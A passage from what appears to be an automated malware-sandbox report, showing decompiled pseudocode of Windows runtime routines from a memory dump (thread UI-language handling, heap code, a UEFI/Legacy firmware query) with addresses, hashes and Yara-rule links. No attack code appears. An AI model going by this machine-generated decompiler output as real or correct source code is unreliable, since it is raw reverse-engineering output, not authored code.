						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xcd7b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E00BF6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E00BF76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00C88938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E00BEB150();
													}
													_t116 = E00C86D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E00BF75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xcd8638; // 0x0
																	_t122 = L00BF38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E00BF76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E00BF76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00C1FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L00BF70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E00C1FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E00C1FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E00C1FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E00C1FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E00C1FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xcd7b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xcd7b84 = _t75;
						_t73 = E00BFEB70(_t134, 0xcd7b60);
						if( *0xcd7b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E00BFFF60( *0xcd7b20);
							}
						}
						goto L5;
					}
				}
			}

0x00c1fab0
0x00c1fab2
0x00c1fab3
0x00c1fab4
0x00c1fabc
0x00c1fac0
0x00c1fb14
0x00c1fb17
0x00c1fac2
0x00c1fac8
0x00c1facd
0x00c1fad3
0x00c1fad3
0x00c1fadd
0x00c1fb18
0x00c1fb1b
0x00c1fb1d
0x00c1fb1e
0x00c1fb1f
0x00c1fb20
0x00c1fb21
0x00c1fb22
0x00c1fb23
0x00c1fb24
0x00c1fb25
0x00c1fb26
0x00c1fb27
0x00c1fb28
0x00c1fb29
0x00c1fb2a
0x00c1fb2b
0x00c1fb2c
0x00c1fb2d
0x00c1fb2e
0x00c1fb2f
0x00c1fb3a
0x00c1fb3b
0x00c1fb3e
0x00c1fb41
0x00c1fb44
0x00c1fb47
0x00c1fb4a
0x00c1fb4d
0x00c1fb53
0x00c5bdcb
0x00c5bdcb
0x00c1fb59
0x00c1fb5b
0x00c1fb5b
0x00c1fb5e
0x00c5bdd5
0x00c5bdd8
0x00000000
0x00c5bdda
0x00000000
0x00c5bdda
0x00c1fb64
0x00c1fb64
0x00c1fb64
0x00c1fb67
0x00c1fb6e
0x00c1fb70
0x00c1fb72
0x00000000
0x00c1fb78
0x00c1fb7a
0x00c1fb7a
0x00c1fb7d
0x00c1fb80
0x00c5bddf
0x00c5bde1
0x00000000
0x00c5bde3
0x00000000
0x00c5bde3
0x00c1fb86
0x00c1fb86
0x00c1fb86
0x00c1fb8b
0x00c1fb90
0x00c1fb92
0x00c1fb94
0x00c1fb9a
0x00c1fb9b
0x00c1fba1
0x00c5bde8
0x00c5bdeb
0x00c5bded
0x00c5beb5
0x00c5beb5
0x00c5bebb
0x00c5bebd
0x00c5bec3
0x00c5bed2
0x00c5bedd
0x00c5bedd
0x00c5beed
0x00000000
0x00c5bdf3
0x00c5bdfe
0x00c5be06
0x00c5be0b
0x00c5be0d
0x00c5be0f
0x00c5be14
0x00c5be19
0x00c5be20
0x00c5be25
0x00c5be27
0x00c5be35
0x00c5be39
0x00c5be46
0x00c5be4f
0x00c5be54
0x00c5be56
0x00c5bef8
0x00c5bef8
0x00000000
0x00c5be5c
0x00c5be5c
0x00c5be60
0x00000000
0x00c5be66
0x00c5be66
0x00c5be7f
0x00c5be84
0x00c5be87
0x00c5be89
0x00c5be8b
0x00c5be99
0x00c5be9d
0x00c5bea0
0x00c5beac
0x00c5beaf
0x00c5beb1
0x00c5beb3
0x00c5beb3
0x00000000
0x00c5bea2
0x00c5bea2
0x00000000
0x00c5bea2
0x00c5be8d
0x00c5be8d
0x00c5be92
0x00000000
0x00c5be92
0x00c5be8b
0x00c5be60
0x00c5be3b
0x00c5be3b
0x00c5be3e
0x00000000
0x00c5be40
0x00c5be40
0x00c5be44
0x00000000
0x00000000
0x00000000
0x00000000
0x00c5be44
0x00c5be3e
0x00c5be29
0x00c5be29
0x00000000
0x00c5be29
0x00c5be27
0x00000000
0x00c1fba7
0x00c1fba7
0x00c1fbab
0x00c5bf02
0x00c1fbb1
0x00c1fbb1
0x00c1fbb8
0x00c1fbbd
0x00c1fbbd
0x00c1fbbf
0x00c1fbbf
0x00c1fbc5
0x00c1fbcb
0x00c1fbf8
0x00c1fbf8
0x00c1fbfa
0x00000000
0x00c1fc00
0x00c1fc00
0x00c1fc03
0x00000000
0x00c1fc09
0x00c1fc09
0x00c1fc0f
0x00c1fc15
0x00c1fc23
0x00c1fc23
0x00c1fc25
0x00c1fc27
0x00c1fc75
0x00c1fc7c
0x00c1fc84
0x00000000
0x00c1fc29
0x00c1fc29
0x00c1fc2d
0x00c1fc30
0x00c5bf0f
0x00000000
0x00c1fc36
0x00c1fc38
0x00c1fc3b
0x00c1fc41
0x00c5bf17
0x00c5bf19
0x00c5bf48
0x00c5bf4b
0x00000000
0x00c5bf1b
0x00c5bf22
0x00c5bf24
0x00c5bf26
0x00000000
0x00c5bf2c
0x00c5bf37
0x00c5bf39
0x00c5bf3b
0x00000000
0x00c5bf41
0x00c5bf41
0x00c5bf41
0x00c5bf41
0x00c5bf45
0x00000000
0x00c5bf45
0x00c5bf3b
0x00c5bf26
0x00000000
0x00c1fc47
0x00c1fc47
0x00c1fc49
0x00c1fcb2
0x00c1fcb4
0x00c1fcb6
0x00c1fcdc
0x00c1fcdc
0x00000000
0x00c1fcb8
0x00c1fcc3
0x00c1fcc5
0x00c1fcc7
0x00000000
0x00c1fcc9
0x00c1fcc9
0x00c1fccd
0x00000000
0x00c1fccd
0x00c1fcc7
0x00000000
0x00c1fc4b
0x00c1fc4b
0x00c1fc4e
0x00c1fc4e
0x00c1fc51
0x00c1fc51
0x00c1fc54
0x00c1fc5a
0x00c1fc5c
0x00c1fc5f
0x00c1fc61
0x00c1fc63
0x00c1fc65
0x00c1fc67
0x00c1fc6e
0x00c1fc72
0x00c1fc72
0x00c1fc72
0x00c1fc72
0x00c1fc67
0x00c1fc61
0x00000000
0x00c1fc5a
0x00c1fc49
0x00c1fc41
0x00c1fc30
0x00c1fc27
0x00c1fc03
0x00c1fbcd
0x00c1fbd3
0x00c1fbd9
0x00c1fbdc
0x00c1fbde
0x00c1fc99
0x00c1fc9b
0x00c1fc9d
0x00c1fcd5
0x00c1fcd5
0x00c1fc89
0x00c1fc89
0x00000000
0x00c1fc9f
0x00c1fc9f
0x00c1fca3
0x00000000
0x00c1fca3
0x00000000
0x00c1fbe4
0x00c1fbe4
0x00c1fbe4
0x00c1fbe4
0x00c1fbe9
0x00c1fbf2
0x00000000
0x00c1fbf2
0x00c1fbde
0x00c1fbcb
0x00c1fbab
0x00c1fc8b
0x00c1fc8b
0x00c1fc8c
0x00c1fb80
0x00c1fb72
0x00c1fb5e
0x00c1fc8d
0x00c1fc91
0x00c1fadf
0x00c1fadf
0x00c1fae1
0x00c1fae4
0x00c1fae7
0x00c1faec
0x00c1faf8
0x00c1fb00
0x00c1fb07
0x00c1fb0f
0x00c1fb0f
0x00c1fb07
0x00000000
0x00c1faf8
0x00c1fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00C5BE0F
x1x, xrefs: 00C1FAF1

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!$x1x
API String ID: 0-1033027262
Opcode ID: 3c5d8cfcba0dd21970fe0b13fd30ff856dd91361b0d22ac60c81a5cc82079d16
Instruction ID: c9789ab083c6726088b833b2b23838a7911897744cc9243ce6921212ae880d94
Opcode Fuzzy Hash: 3c5d8cfcba0dd21970fe0b13fd30ff856dd91361b0d22ac60c81a5cc82079d16
Instruction Fuzzy Hash: FDA13535B006099BDB30DF65C461BFAB7A4AF46710F14467EED12CB690DB30DE86AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CAE539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00CAE539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E00CABBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E00CABCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E00CAAFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E00C29730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E00CAA80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E00CAA854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E00C29730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E00CAA80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E00CAA854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E00C02280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E00BFB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E00BFFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E00C07D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E00C9FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x00cae547
0x00cae549
0x00cae54f
0x00cae553
0x00cae557
0x00cae55a
0x00cae55c
0x00cae55f
0x00cae561
0x00cae567
0x00cae56b
0x00cae7e2
0x00000000
0x00cae571
0x00cae575
0x00cae577
0x00cae57b
0x00cae57c
0x00cae57d
0x00cae57e
0x00cae57f
0x00cae588
0x00cae58f
0x00cae591
0x00cae592
0x00cae592
0x00cae596
0x00cae59e
0x00cae5a0
0x00cae5a6
0x00cae61d
0x00cae61d
0x00cae621
0x00cae623
0x00cae630
0x00cae630
0x00cae7e6
0x00cae7eb
0x00cae7ed
0x00cae7f4
0x00cae7fa
0x00cae7ff
0x00cae7ff
0x00cae80a
0x00cae812
0x00cae812
0x00cae5ab
0x00cae5b4
0x00cae5b9
0x00cae5be
0x00cae5c0
0x00cae5c2
0x00cae5c8
0x00cae5c9
0x00cae5cb
0x00cae5cc
0x00cae5d5
0x00cae5e4
0x00cae5f1
0x00cae5f8
0x00cae5f8
0x00cae5d5
0x00cae602
0x00cae616
0x00cae63d
0x00cae644
0x00cae64d
0x00cae652
0x00cae657
0x00cae659
0x00cae65b
0x00cae661
0x00cae662
0x00cae664
0x00cae665
0x00cae66e
0x00cae67d
0x00cae68a
0x00cae691
0x00cae691
0x00cae66e
0x00cae6b0
0x00000000
0x00cae6b6
0x00cae6bd
0x00cae6c7
0x00cae6d7
0x00cae6d9
0x00cae6db
0x00cae6de
0x00cae6e3
0x00cae6f3
0x00cae6fc
0x00cae700
0x00cae700
0x00cae704
0x00cae70a
0x00cae70a
0x00cae713
0x00cae716
0x00cae719
0x00cae720
0x00cae761
0x00cae76b
0x00cae774
0x00cae77a
0x00cae77a
0x00cae78a
0x00cae791
0x00cae799
0x00cae79b
0x00cae79f
0x00cae7aa
0x00cae7c0
0x00cae7ac
0x00cae7b2
0x00cae7b9
0x00cae7b9
0x00cae7c7
0x00cae806
0x00000000
0x00cae7c9
0x00cae7d1
0x00cae7d8
0x00000000
0x00cae7d8
0x00000000
0x00000000
0x00cae722
0x00cae72e
0x00cae748
0x00cae74c
0x00cae754
0x00cae756
0x00cae75c
0x00cae75c
0x00000000
0x00cae75c
0x00cae758
0x00cae758
0x00000000
0x00cae758
0x00cae750
0x00000000
0x00000000
0x00cae752
0x00000000
0x00cae752
0x00cae730
0x00cae735
0x00cae73d
0x00cae73f
0x00000000
0x00000000
0x00cae741
0x00cae741
0x00000000
0x00cae741
0x00cae739
0x00000000
0x00000000
0x00cae73b
0x00000000
0x00cae73b
0x00cae722
0x00cae720
0x00cae6b0
0x00cae618
0x00000000
0x00cae618

Strings

`, xrefs: 00CAE670
`, xrefs: 00CAE5D7

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: e70b9e85ea9f49666cee1aa48a21360f60f318be8d2f97cc1c7bab210e53fcf6
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 4891A0316043429FE724CF65C845B2BB7E5BF85718F14892DF9A5CB281E774E904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C651BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00C651BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xcc05f0);
				E00C3D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E00BFEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00C653CA(0);
						return E00C3D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00C2F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E00C03690(1, _t117, 0xbc1810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00C2AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L00C04620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00C2AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00C6500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00C29860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00c651be
0x00c651c3
0x00c651c8
0x00c651cd
0x00c651d0
0x00c651d3
0x00c651d8
0x00c651db
0x00c651de
0x00c651e0
0x00c651e3
0x00c651e6
0x00c651e8
0x00c65342
0x00c65351
0x00c65356
0x00c6535a
0x00c65360
0x00c65363
0x00c65366
0x00c65369
0x00c65369
0x00c6536b
0x00c6536b
0x00c65370
0x00c653a3
0x00c653a4
0x00c653a6
0x00c653ab
0x00c653ab
0x00c653ae
0x00c653ae
0x00c653b5
0x00c653bf
0x00c653bf
0x00c65375
0x00c65396
0x00c653a0
0x00c653a0
0x00000000
0x00c65396
0x00c65377
0x00c65379
0x00c6537f
0x00c6538c
0x00c65390
0x00000000
0x00c65390
0x00c651ee
0x00c651f1
0x00c65301
0x00c65310
0x00c65315
0x00c65318
0x00c6531b
0x00c65320
0x00c6532e
0x00c65331
0x00000000
0x00c65331
0x00c65328
0x00c65329
0x00000000
0x00c65329
0x00c651fa
0x00c65235
0x00c65236
0x00c65239
0x00c6523f
0x00c65240
0x00c65241
0x00c65242
0x00c65246
0x00c65247
0x00c6524e
0x00c65251
0x00c65267
0x00c65269
0x00c6526e
0x00c6527d
0x00c6527e
0x00c65281
0x00c65282
0x00c65287
0x00c65288
0x00c6528a
0x00c6528f
0x00c65294
0x00000000
0x00000000
0x00c6529a
0x00c6529c
0x00c6529e
0x00c6529e
